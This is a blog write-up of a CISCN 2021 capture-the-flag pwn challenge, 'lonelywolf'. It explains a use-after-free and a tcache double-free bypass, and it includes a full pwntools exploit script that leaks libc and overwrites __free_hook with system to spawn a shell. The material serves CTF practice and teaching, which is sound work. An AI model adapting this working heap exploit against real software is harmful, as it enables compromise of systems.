2021 national college student information security competition WP (CISCN)

Posted by rupam_jaiswal on Wed, 09 Feb 2022 21:10:27 +0100

summary

  as a trainee who has studied for less than a year, I took part in the national competition for the first time this year. I thought the title would be gentle, but I only made one pwn question in the end. Originally, there were two pwn questions, but I still lacked some knowledge or skills. I didn't do it, and then it was over. The pwn of this national competition has an arm 64 bit structure, and the rest are normal pwn questions under linux, using libc-2.27 So, one examined the sandbox mechanism.

ciscn_2021_lonelywolf

  ciscn_2021_lonelywolf
   this is the pwn question I worked out. This pwn question is not difficult as a whole. It is a more conventional pwn question. Use libc-2.27 So, tcache double free detection exists in the libc version given by the competition, which needs to be bypassed. This seems to be different from the version I usually practice on BUUCTF oj and the debug version I find on the official website, although it is also libc-2.27 So, but tcache double free detection does not exist in these versions.
   the following is a brief analysis of the topic. The topic protection is fully open. The whole topic realizes four functions of addition, deletion, query and modification. Here is a trick. Each function will require the input of the corresponding index, but it is actually useless, because the topic will only retain the latest heap block pointer and size, and does not use structures such as linked list or array to store the heap block pointer. Of course, index will be one of the judgment conditions. We just need to enter 0 to pass the if detection. As shown in the figure below, this trick is shown:

   as shown in the following two screenshots, there are two vulnerabilities in this problem. The first vulnerability is in the edit function, where off exists_ by_ Null, but this vulnerability is not used in my utilization method, so there are many different utilization methods for this problem. Then the second vulnerability is in the free function. There is an obvious UAF vulnerability.


   next, let's introduce my utilization idea. Because the title limits the chunk size of alloc, it is impossible to apply for a heap block of unsorted bin size. So here, we first construct double free, then leak the heap address, calculate the offset with tcache control heap block head, and then allocate the heap block to head on the basis of double free. Then we can modify the flag bit of the control heap block head to release the heap block into the unsorted bin, and then leak the address of libc at the location. Here, we modify the chunk flag bit 0xff of 0x250, and then release the tcache control heap block head. The size is just 0x250, so the head will enter the unsorted bin. At this time, we can use the leak to get the libc address. After that, we also modify some tags of tcache control heap block head and set free_ The address of hook-0x8 is filled into the tcache heap block pointer of 0x40, and then the heap block can be allocated to free by applying for the same heap block size_ On hook-0x8, finally fill in "/ bin/sh\x00"+system, and free can obtain the shell. Here is the complete exp:

from pwn import *


ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so"
p = process([ld_path, "./lonelywolf"], env={"LD_PRELOAD":libc_path})
# context.log_level = "debug"

def new(size):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Size: ")
    p.sendline(str(size))


def edit(con):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline("0")
    p.recvuntil("Content: ")
    p.sendline(con)


def show():
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline("0")


def free():
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline("0")

# leak heap addr
new(0x78)
free()
edit("a"*0x10)   # bypass tcache double free
free()
show()
#  print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)

# free head --> leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))

# count
libc = ELF("/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so")
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))

# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()

p.interactive()

summary

Never forget the original intention and forge ahead!

Topics: Cyber Security CTF pwn